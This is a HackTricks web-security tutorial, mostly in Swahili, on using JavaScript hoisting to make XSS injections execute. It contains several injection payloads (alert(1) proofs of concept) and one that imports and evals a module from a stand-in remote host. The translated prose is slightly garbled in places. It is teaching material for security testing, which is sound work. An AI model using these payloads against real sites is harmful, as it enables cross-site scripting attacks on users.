JS Hoisting
Reading time: 5 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Basic Information
Katika lugha ya JavaScript, mekanismu inayojulikana kama Hoisting inaelezewa ambapo matangazo ya mabadiliko, kazi, madarasa, au uagizaji yanaelekezwa kwa dhana juu ya upeo wao kabla ya msimbo kutekelezwa. Mchakato huu unafanywa kiotomatiki na injini ya JavaScript, ambayo inapitia skripti katika vipitisho vingi.
Wakati wa kipitisho cha kwanza, injini inachambua msimbo ili kuangalia makosa ya sintaksia na kuubadilisha kuwa mti wa sintaksia wa kiabstrakti. Awamu hii inajumuisha hoisting, mchakato ambapo matangazo fulani yanahamishwa juu ya muktadha wa utekelezaji. Ikiwa awamu ya uchambuzi inafanikiwa, ikionyesha hakuna makosa ya sintaksia, utekelezaji wa skripti unaendelea.
Ni muhimu kuelewa kwamba:
- Skripti lazima iwe huru na makosa ya sintaksia ili utekelezaji ufanyike. Sheria za sintaksia lazima zifuatwe kwa ukali.
- Mahali pa msimbo ndani ya skripti yanaathiri utekelezaji kutokana na hoisting, ingawa msimbo uliofanywa unaweza kutofautiana na uwakilishi wake wa maandiko.
Types of Hoisting
Kulingana na taarifa kutoka MDN, kuna aina nne tofauti za hoisting katika JavaScript:
- Value Hoisting: Inaruhusu matumizi ya thamani ya mabadiliko ndani ya upeo wake kabla ya mstari wake wa matangazo.
- Declaration Hoisting: Inaruhusu kurejelea mabadiliko ndani ya upeo wake kabla ya matangazo yake bila kusababisha
ReferenceError
, lakini thamani ya mabadiliko itakuwaundefined
. - Aina hii inabadilisha tabia ndani ya upeo wake kutokana na matangizo ya mabadiliko kabla ya mstari wake wa matangizo halisi.
- Athari za upande wa matangizo hutokea kabla ya msimbo mwingine unaoihusisha kutathminiwa.
Kwa undani, matangizo ya kazi yanaonyesha tabia ya hoisting aina 1. Neno la var
linaonyesha tabia ya aina 2. Matangazo ya kisheria, ambayo yanajumuisha let
, const
, na class
, yanaonyesha tabia ya aina 3. Mwishowe, taarifa za import
ni za kipekee kwa kuwa zina hoisted na tabia za aina 1 na aina 4.
Scenarios
Hivyo ikiwa una hali ambapo unaweza Kuingiza msimbo wa JS baada ya kitu kisichotangazwa kutumika, unaweza kurekebisha sintaksia kwa kutangaza (ili msimbo wako utekelezwe badala ya kutupa makosa):
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
Mifanozo Zaidi
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};
export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert
try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
Marejeo
- https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
- https://developer.mozilla.org/en-US/docs/Glossary/Hoisting
- https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.